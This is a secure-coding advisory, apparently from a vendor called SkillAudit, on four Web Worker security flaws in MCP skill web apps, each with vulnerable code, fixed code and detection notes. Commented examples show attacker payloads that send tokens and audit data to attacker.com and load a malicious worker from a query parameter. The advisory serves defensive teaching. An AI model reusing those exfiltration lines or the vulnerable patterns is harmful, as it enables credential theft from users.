Claude skill Web Worker SharedArrayBuffer and postMessage security in MCP skill SPAs — SA-SKL-WEBWORKER2
MCP skill SPAs that offload cryptographic verification, WASM-based scanning, or real-time audit computation to Web Workers introduce a distinct class of message channel vulnerabilities that sit outside the standard CORS threat model. SA-SKL-WEBWORKER2 covers four patterns: enabling SharedArrayBuffer without the COOP/COEP isolation headers that prevent Spectre side-channel attacks, loading worker scripts from CDN without Subresource Integrity hashes, sending postMessage responses that any page-level listener can intercept instead of using private MessageChannel ports, and constructing worker URLs from user-controlled input which enables browser-side server-side request forgery.
Web Worker message channels in MCP skill SPAs and why they require dedicated security controls
MCP skill SPAs increasingly rely on Web Workers for performance-sensitive tasks: running WASM binary analyzers off the main thread, computing SHA-based integrity hashes for uploaded files, streaming MCP tool output through a transform pipeline, or sharing a progress buffer between a render loop and a background fetch worker. Each of these patterns introduces a distinct communication boundary — the channel between the main thread and the worker — that is governed by different security rules than same-origin HTTP requests or cross-origin postMessage between windows. Worker message channels do not benefit from browser CORS enforcement, do not carry an accessible origin in the same way that MessageEvent.origin does for window-to-window communication, and are not covered by Content Security Policy directives that restrict script execution in the main thread context.
The result is that skill SPA authors who apply the standard XSS and CORS mental model to their worker code will miss several significant vulnerability classes. A worker script loaded from a third-party CDN is as trusted as the CDN itself — if the CDN is compromised, the worker runs arbitrary code in the skill origin's context, with full access to the page's IndexedDB, the same-origin fetch namespace, and any secrets held in in-memory closures. A SharedArrayBuffer allocated without the correct cross-origin isolation headers does not merely fail at runtime — in environments where it is force-enabled, it exposes the high-resolution timer primitive that underpins the Spectre cache timing exploit. And a new Worker(url) call where url derives from query parameters is an open door for server-side request forgery executed from the browser's perspective of the skill origin.
SA-SKL-WEBWORKER2 extends the earlier SA-SKL-WEBWORKER pattern set with four additional findings that arise specifically in production MCP skill deployments: the COOP/COEP Spectre vector for SAB (WEBWORKER2-001), CDN worker SRI bypass (WEBWORKER2-002), postMessage eavesdropping without private MessageChannel ports (WEBWORKER2-003), and user-input worker URL injection (WEBWORKER2-004). Each is independently exploitable and each requires a targeted fix.
SA-SKL-WEBWORKER2 in scope: WEBWORKER2-001 (SharedArrayBuffer without COOP/COEP — Spectre side-channel), WEBWORKER2-002 (CDN worker script loaded without SRI hash), WEBWORKER2-003 (postMessage response without private MessageChannel ports), WEBWORKER2-004 (new Worker(req.query.url) — browser-side SSRF). These patterns are detected by SkillAudit's static analysis of skill SPA bundles and server configuration files.
WEBWORKER2-001 — SharedArrayBuffer without COOP/COEP enables Spectre side-channel memory read
The SharedArrayBuffer API was disabled across all major browsers in January 2018 following the Spectre and Meltdown disclosure because it provides the fundamental primitive required for a high-resolution timer: a shared memory location that one thread increments in a tight loop while another thread reads it before and after a speculative memory access to measure cache state. By measuring whether a speculative load hits or misses the CPU cache, an attacker can reconstruct the contents of memory outside the JavaScript heap — including memory belonging to other origins in the same browser process. This is not a theoretical vulnerability; Google Project Zero demonstrated working exploit code within days of the initial disclosure. The re-enablement of SharedArrayBuffer in 2020–2021 came with a mandatory condition: the page must be cross-origin isolated, proven to the browser by serving both Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp on the HTML document and all resources it loads.
COOP prevents the page from sharing a browsing context group — and therefore a renderer process — with any cross-origin opener or popup. COEP requires every subresource the page loads to either include a Cross-Origin-Resource-Policy header permitting embedding or be served with explicit CORS headers. Together they guarantee the browser can place the page in a dedicated OS process, closing the shared-process memory channel that Spectre exploits. Without both headers, window.crossOriginIsolated is false and new SharedArrayBuffer() throws a TypeError in Chrome and Firefox. In Safari the behavior has historically differed and in some configurations SAB remains available on cross-site contexts — meaning the absence of these headers can be more dangerous in Safari than in Chromium-based browsers, not less. Any MCP skill SPA that allocates a SharedArrayBuffer for WASM memory, audit progress sharing, or ring-buffer communication must configure these headers at the HTTP server level before the SAB is ever constructed.
The headers must be served on the HTTP response, not via <meta http-equiv> tags. This is an explicit browser requirement: COOP and COEP are response headers, not document metadata. For skills deployed behind Caddy, nginx, or Cloudflare Workers, the header configuration must cover not just the HTML document but also any JavaScript bundles that execute new SharedArrayBuffer(). Third-party dependencies — analytics scripts, support widgets, embedded iframes — must either serve Cross-Origin-Resource-Policy: cross-origin or be excluded from the page entirely, since COEP will block them. This is a real deployment cost that skill authors must plan for before adopting SAB, not an afterthought to add once the feature is working in development.
# VULNERABLE — SharedArrayBuffer allocated on a page without COOP/COEP headers
# The browser either throws TypeError or exposes the Spectre timer primitive unmitigated
# Server config (Caddy) — no isolation headers set, default open COOP/COEP posture
app.skillaudit.dev {
reverse_proxy localhost:3000
# Missing: Cross-Origin-Opener-Policy and Cross-Origin-Embedder-Policy
}
// main.js — skill SPA allocates SAB for WASM memory without checking crossOriginIsolated
const wasmMemory = new SharedArrayBuffer(16 * 1024 * 1024); // 16 MB for WASM heap
// TypeError in Chrome/Firefox: cannot construct SharedArrayBuffer in non-crossOriginIsolated context
// In older Safari: SAB succeeds but Spectre timer is fully operational without site isolation
const auditWorker = new Worker('/workers/wasm-audit.js');
auditWorker.postMessage({ type: 'init', memory: wasmMemory }, [wasmMemory]);
// If SAB is available here, the page is not isolated — Spectre exploits are live
# FIXED — Caddy config sets COOP and COEP on all responses; skill checks crossOriginIsolated at runtime
# Caddyfile — isolation headers on all routes for the skill domain
app.skillaudit.dev {
header Cross-Origin-Opener-Policy "same-origin"
header Cross-Origin-Embedder-Policy "require-corp"
reverse_proxy localhost:3000
}
# Third-party resources must now serve CORP or CORS headers, or be removed.
# Example: analytics endpoint must add:
# Cross-Origin-Resource-Policy: cross-origin
// main.js — runtime guard before any SharedArrayBuffer allocation
if (!window.crossOriginIsolated) {
// Headers are missing or a third-party resource is blocking COEP activation.
// Fall back to transferable ArrayBuffer (copied, not shared) + MessageChannel.
console.error(
'SA-SKL-WEBWORKER2-001: page is not cross-origin isolated. ' +
'Ensure Cross-Origin-Opener-Policy: same-origin and ' +
'Cross-Origin-Embedder-Policy: require-corp are set on all HTTP responses.'
);
startWorkerWithCopiedBuffer();
} else {
// Safe to use SharedArrayBuffer — page is in a dedicated OS process.
// Spectre timer is confined to this process and cannot read cross-origin memory.
const wasmMemory = new SharedArrayBuffer(16 * 1024 * 1024);
const auditWorker = new Worker('/workers/wasm-audit.js');
auditWorker.postMessage({ type: 'init', memory: wasmMemory }, [wasmMemory]);
}
SharedArrayBuffer allocated on a page that lacks Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp response headers either throws a TypeError in modern browsers or, in older Safari, enables the Spectre high-resolution timer primitive without the OS-process isolation that prevents cross-origin memory reads; fix by adding both headers at the HTTP server level, verifying window.crossOriginIsolated === true before any SAB allocation, and planning for COEP's requirement that all subresources carry CORP or CORS headers. Detection: SkillAudit flags skill frontend bundles that call new SharedArrayBuffer() without a window.crossOriginIsolated guard, and flags server configurations for skill origins that do not emit both COOP and COEP headers.WEBWORKER2-002 — Worker script loaded from CDN without SRI hash allows supply-chain compromise
Many MCP skill SPAs load their Web Worker scripts from a third-party CDN — either a public CDN like unpkg or jsDelivr for open-source libraries, or a team-managed CDN that hosts compiled worker bundles separately from the main application. The worker script URL is passed directly to new Worker('https://cdn.example.com/skill-worker.js'). This is functionally equivalent to loading a <script> tag from an external domain: if the CDN is compromised, the content of that URL changes, and the browser has no mechanism to detect the substitution unless Subresource Integrity verification is requested. The difference from a main-thread script tag is that Worker construction does not support the standard <script integrity="sha384-..."> attribute syntax — SRI for workers requires a different approach.
For module workers (created with new Worker(url, { type: 'module' })), the Fetch specification supports the integrity option in the second argument to new Worker(), analogous to the integrity attribute on script tags. This allows the browser to verify the SHA-384 hash of the downloaded script before executing it. For classic workers, the integrity option has historically not been supported, but the alternative is to fetch the script content manually using fetch(url, { integrity: 'sha384-...' }), verify it, and construct the worker from a Blob URL created from the verified content. The same technique can be implemented in a Service Worker intercept that hash-checks CDN resources before they reach the Worker constructor. The simplest and most robust fix is to host worker scripts on the same origin as the skill SPA — this eliminates the CDN trust dependency entirely and makes COEP compliance easier since same-origin resources do not need separate CORP headers.
The practical risk is not hypothetical. CDN compromises occur through several vectors: BGP hijack redirecting CDN traffic to attacker infrastructure, XSS in the CDN's own management console enabling path-level content replacement, compromised npm packages that push malicious versions to CDN endpoints that mirror npm, and DNS cache poisoning targeting CDN hostnames. A malicious worker script has access to the full Worker API surface: fetch() (to exfiltrate data or interact with same-origin APIs), indexedDB, caches (the Cache Storage API), WebSockets, and postMessage() to send forged results to the main thread. Because the worker runs in the skill's origin context, its fetch requests carry the user's cookies and credentials. SRI is the only browser-native mechanism that prevents a compromised CDN from executing arbitrary code in this context.
// VULNERABLE — Worker loaded from CDN with no SRI verification
// If cdn.example.com is compromised, the attacker controls code running
// in the skill origin's worker context with full fetch() access to same-origin APIs
// main.js
const auditWorker = new Worker(
'https://cdn.example.com/skill-worker.js' // No integrity check — trusted blindly
);
// Attacker who compromises cdn.example.com serves:
// self.addEventListener('message', () => {
// fetch('/api/skill/tokens').then(r => r.json()).then(d =>
// fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(d) })
// );
// });
// This runs in the skill origin context — same-origin fetch, full API access.
auditWorker.postMessage({ type: 'run', auditId: '123' });
auditWorker.addEventListener('message', (e) => displayResults(e.data));
// FIXED — Option 1: module worker with integrity option (Chrome 91+, Firefox 114+)
// The browser verifies the SHA-384 hash before executing the script.
// If the CDN serves modified content, the worker fails to load with an integrity error.
const auditWorker = new Worker(
'https://cdn.example.com/skill-worker.js',
{
type: 'module',
// sha384 hash of the exact bytes of skill-worker.js at the pinned version
integrity: 'sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC'
}
);
// FIXED — Option 2: fetch-then-blob for classic workers (broadest browser support)
// Use fetch() with integrity to verify the script, then construct worker from blob URL.
async function createVerifiedWorker(cdnUrl, expectedHash) {
const response = await fetch(cdnUrl, {
integrity: expectedHash, // Fetch API supports SRI integrity on requests
cache: 'no-cache' // Always re-verify; do not use a cached unverified copy
});
if (!response.ok) throw new Error(`Failed to fetch worker script: ${response.status}`);
const scriptText = await response.text();
const blob = new Blob([scriptText], { type: 'application/javascript' });
const blobUrl = URL.createObjectURL(blob);
const worker = new Worker(blobUrl);
URL.revokeObjectURL(blobUrl); // Revoke immediately — worker holds its own reference
return worker;
}
// FIXED — Option 3 (recommended): host worker scripts on same origin
// Eliminates CDN trust dependency and simplifies COEP compliance.
const auditWorker = new Worker('/workers/skill-worker.js');
// Same-origin, same deployment pipeline, no CDN integrity dependency.
new Worker('https://cdn.example.com/...') without an SRI hash allow a compromised CDN to execute arbitrary code in the skill origin's worker context, with full fetch() access to same-origin APIs and user credentials; fix by using new Worker(url, { type: 'module', integrity: 'sha384-...' }) for module workers, by fetching and hash-checking the script content via the Fetch API before constructing a Blob URL worker, or by hosting worker scripts on the same origin to eliminate the CDN trust dependency. Detection: SkillAudit flags new Worker() calls where the URL is an absolute cross-origin URL with no integrity option in the Worker constructor options argument.WEBWORKER2-003 — postMessage response without private MessageChannel ports is readable by any listener
When a Web Worker calls self.postMessage(result), the message is delivered to the main thread via a message event. The standard pattern for receiving it is window.addEventListener('message', handler) or worker.addEventListener('message', handler). The critical distinction is that self.postMessage() from a worker does not set an accessible event.origin that identifies the worker as the source — messages from dedicated workers received via window.addEventListener('message') carry event.origin === '' (empty string). This means any other script on the page that also calls window.addEventListener('message') can receive the same worker response, including third-party analytics scripts, A/B testing frameworks, chat widgets, and any code injected via XSS. For MCP skill SPAs that pass sensitive audit results, session tokens, or intermediate cryptographic material through worker postMessage, this is an eavesdropping channel.
The correct solution for private bi-directional worker communication is the MessageChannel API. A MessageChannel creates two entangled MessagePort objects (port1 and port2) that communicate exclusively with each other. The main thread retains port1 and transfers port2 to the worker via worker.postMessage({ port: port2 }, [port2]) — the [port2] transferable array removes port2 from the main thread's scope entirely; no other script can obtain a reference to it. All subsequent communication between the main thread and the worker flows through port1.postMessage() and port2.postMessage(), and the corresponding message event listeners are attached to port1 and port2 specifically, not to window. No third-party script on the page has access to either port unless it was explicitly shared, which it was not.
The MessageChannel approach also solves a subtle multiplexing problem: when a skill SPA spawns multiple workers of the same type, using worker.addEventListener('message') (attached to the specific worker object) correctly routes responses to the right handler, but it is easy to accidentally register multiple workers' handlers on the global window object and get responses from one worker delivered to another worker's handler. MessageChannel ports are unique objects — a port can only receive messages sent to its paired counterpart — which makes the routing unambiguous. For skill SPAs that handle multiple concurrent audit jobs in separate workers, this isolation is both a security property and a correctness property.
// VULNERABLE — worker calls self.postMessage(), any window message listener receives it
// skill-audit-worker.js
self.addEventListener('message', async (event) => {
const { jobId, auditTarget } = event.data;
const result = await runAudit(auditTarget); // Returns sensitive audit data
// self.postMessage() delivers to ALL 'message' listeners on the main thread window
// including third-party analytics scripts, chat widgets, XSS-injected code
self.postMessage({ type: 'auditResult', jobId, result });
});
// main.js — vulnerable listener on window
// Third-party script on the page that also listens to window messages:
// window.addEventListener('message', (e) => { exfiltrate(e.data); });
// receives the audit result containing sensitive finding data.
window.addEventListener('message', (event) => {
if (event.data.type === 'auditResult') {
displayAuditResult(event.data.result); // Result also delivered to any other listener
}
});
// FIXED — private MessageChannel ports; no other script can eavesdrop on port messages
// main.js — create a MessageChannel and transfer port2 to the worker
const auditWorker = new Worker('/workers/skill-audit-worker.js');
const channel = new MessageChannel();
// port1 stays in main thread — only this code has a reference to it
// port2 is transferred to the worker — it is removed from main thread scope entirely
auditWorker.postMessage({ type: 'init', port: channel.port2 }, [channel.port2]);
// All future responses arrive only on channel.port1 — invisible to window listeners
channel.port1.addEventListener('message', (event) => {
if (event.data.type === 'auditResult') {
displayAuditResult(event.data.result); // Only this handler receives this message
}
});
channel.port1.start(); // Required to begin receiving messages on a MessagePort
// skill-audit-worker.js — FIXED to use the transferred port for all responses
let responsePort = null;
self.addEventListener('message', async (event) => {
if (event.data.type === 'init') {
// Receive port2 — store it for all subsequent responses
responsePort = event.data.port;
responsePort.start();
return;
}
if (event.data.type === 'run' && responsePort) {
const { jobId, auditTarget } = event.data;
const result = await runAudit(auditTarget);
// postMessage via the private port — only port1 receives this
responsePort.postMessage({ type: 'auditResult', jobId, result });
}
});
self.postMessage(result) and received on window.addEventListener('message') are delivered to every message listener on the page — including third-party scripts and XSS-injected code — because worker messages carry event.origin === '' which cannot be used for source filtering; fix by creating a MessageChannel, retaining port1 in the main thread, transferring port2 to the worker, and routing all worker responses through the private port pair that is not accessible to any other script. Detection: SkillAudit flags skill SPA code where a Web Worker communicates exclusively via self.postMessage() and the main thread listens on window.addEventListener('message') without using MessageChannel ports for private routing.WEBWORKER2-004 — Worker URL constructed from user input enables browser-side SSRF
An MCP skill SPA that allows dynamic worker script loading — for example, a plugin system that lets users specify a custom analysis worker, or a development tool that constructs the worker URL from a URL parameter for local testing — and passes that URL directly to new Worker(req.query.url) creates a browser-side server-side request forgery vector. The term is slightly paradoxical in a browser context, but the mechanism is accurate: when the worker calls fetch() inside its execution, those requests originate from the page's origin as the browser sees them. If the worker script is loaded from an attacker-controlled URL, the attacker controls all network requests made by that worker. Because the worker runs in the skill's origin, it can fetch any same-origin API endpoint using the user's session credentials — including internal admin endpoints, debug routes, and MCP tool invocation endpoints — and exfiltrate the responses.
The attack is particularly impactful in MCP skill contexts because the skill SPA typically has broad permissions: it can invoke MCP tools, access stored audit results, read configuration, and interact with the user's connected services. A worker that runs attacker code in this context can invoke all of these capabilities silently, in the background, without any visible UI indication. The fix requires treating the worker script URL as a trust boundary: it must be validated against a strict allowlist of approved URLs before being passed to new Worker(). For dynamic worker generation — cases where the script content varies based on application logic — the correct pattern is to construct the script as a string literal with hardcoded logic, create a Blob from that string, and pass the blob URL to new Worker(). This eliminates the external URL fetch entirely and means the worker content is determined entirely by the application code, not by user input.
An allowlist-based approach must be implemented with strict URL parsing, not string prefix matching. A naive check like url.startsWith('https://skillaudit.dev/') can be bypassed by encoding tricks, path traversal sequences, or by exploiting open redirects on the allowlisted origin. The correct implementation parses the URL with the URL constructor, checks the resulting origin property against an allowlist of trusted origins, and optionally checks the pathname against an allowlist of known worker script paths. For the most restrictive enforcement, the application should maintain a map of worker script names to their known-good URLs rather than accepting any URL from user input. The URL.createObjectURL(blob) approach sidesteps all of these validation complexities by not involving any external URL at all.
// VULNERABLE — worker URL constructed from user-supplied query parameter
// A URL like: https://app.skillaudit.dev/scan?workerUrl=https://attacker.com/evil.js
// causes new Worker() to load and execute the attacker's script in the skill origin context.
// main.js
const params = new URLSearchParams(window.location.search);
const workerUrl = params.get('workerUrl') || '/workers/default-audit.js';
// DANGEROUS — attacker controls the script executed in the skill origin's worker context
const scanWorker = new Worker(workerUrl);
// The attacker's script can:
// 1. fetch('/api/mcp/invoke', { method: 'POST', credentials: 'include', body: ... })
// — invokes MCP tools using the user's session, with the page origin
// 2. fetch('/api/audits/list', { credentials: 'include' })
// — reads all stored audit data for the authenticated user
// 3. Send all retrieved data to fetch('https://attacker.com/collect', ...)
scanWorker.postMessage({ type: 'run', target: 'example.com' });
// FIXED — Option 1: strict allowlist of permitted worker script URLs
// Validate the URL against known-good paths before constructing the Worker.
const ALLOWED_WORKER_PATHS = new Set([
'/workers/default-audit.js',
'/workers/fast-audit.js',
'/workers/deep-scan-audit.js',
]);
function getSafeWorkerUrl(input) {
if (!input) return '/workers/default-audit.js';
try {
const parsed = new URL(input, window.location.origin);
// Require same origin AND known path — reject any cross-origin worker URLs
if (parsed.origin !== window.location.origin) {
throw new Error('Cross-origin worker URLs are not permitted');
}
if (!ALLOWED_WORKER_PATHS.has(parsed.pathname)) {
throw new Error(`Worker path '${parsed.pathname}' is not in the allowlist`);
}
return parsed.pathname; // Use only the validated pathname, not the full user string
} catch (err) {
console.error('SA-SKL-WEBWORKER2-004: rejected unsafe worker URL:', input, err.message);
return '/workers/default-audit.js'; // Safe default on any validation failure
}
}
const workerUrl = getSafeWorkerUrl(params.get('workerUrl'));
const scanWorker = new Worker(workerUrl);
// FIXED — Option 2: URL.createObjectURL(blob) for dynamic workers
// Worker script content is determined by application code, not by any external URL.
// No external fetch occurs — the worker URL is a blob: URL local to this page.
function createDynamicAuditWorker(auditMode) {
// The script string is hardcoded in the application — user input cannot alter it
const allowedModes = { fast: 'runFastAudit', deep: 'runDeepAudit' };
const auditFunction = allowedModes[auditMode] || 'runFastAudit'; // Sanitized to known values
const workerScript = `
// Dynamic audit worker — script content controlled entirely by the application
self.addEventListener('message', async (event) => {
const { target } = event.data;
// auditFunction is substituted at blob creation time from an allowlist, not from user input
const result = await ${auditFunction}(target);
self.postMessage({ type: 'result', result });
});
// ... audit implementation functions ...
`;
const blob = new Blob([workerScript], { type: 'application/javascript' });
const blobUrl = URL.createObjectURL(blob);
const worker = new Worker(blobUrl);
URL.revokeObjectURL(blobUrl); // Revoke immediately — worker retains its own reference
return worker;
}
const scanWorker = createDynamicAuditWorker(params.get('mode') || 'fast');
new Worker(req.query.url) or any pattern where the worker script URL is constructed from user-controlled input allows an attacker to load arbitrary JavaScript into the skill origin's worker context, where it can invoke same-origin MCP API endpoints with the user's session credentials and exfiltrate responses; fix by validating the worker URL against a strict allowlist of same-origin paths, or by eliminating external worker URLs entirely using URL.createObjectURL(blob) with a hardcoded script string where any variable parts come from an application-side allowlist. Detection: SkillAudit flags new Worker() calls where the URL argument traces data flow from window.location, URL parameters, query string parsing, or any user-facing input without an origin and path allowlist check.Detection summary
| ID | Severity | Pattern | Fix |
|---|---|---|---|
| WEBWORKER2-001 | HIGH | SharedArrayBuffer without Cross-Origin-Opener-Policy: same-origin + Cross-Origin-Embedder-Policy: require-corp — Spectre side-channel; TypeError in modern browsers |
Add both headers at HTTP server level; verify window.crossOriginIsolated === true before any SAB allocation; ensure all subresources carry CORP or CORS headers |
| WEBWORKER2-002 | HIGH | new Worker('https://cdn.example.com/skill-worker.js') with no integrity option — compromised CDN executes arbitrary code in skill origin |
Use { type: 'module', integrity: 'sha384-...' } for module workers; fetch(url, { integrity }) + blob URL for classic workers; or host worker scripts on same origin |
| WEBWORKER2-003 | MEDIUM | Worker uses self.postMessage(result) received on window.addEventListener('message') — third-party scripts and XSS eavesdrop on worker responses |
Use MessageChannel: transfer port2 to worker, listen on port1 in main thread — port messages are not visible to any other page script |
| WEBWORKER2-004 | HIGH | new Worker(params.get('workerUrl')) — attacker-controlled script loaded in skill origin, invokes same-origin APIs with user credentials |
Allowlist of same-origin worker paths with strict URL parsing; or URL.createObjectURL(blob) with hardcoded script content — never construct worker URL from user input |
Related patterns: SA-SKL-CORS10 covers CORS vulnerabilities in WebSocket upgrade and SSE long-poll streaming endpoints — complementary to the Worker message channel security concerns in WEBWORKER2. MCP skill TOCTOU race condition security covers time-of-check to time-of-use races that can arise when workers and the main thread access shared state concurrently. SA-SKL-WEBWORKER covers the foundational SharedArrayBuffer and worker importScripts patterns that complement the WEBWORKER2 findings above.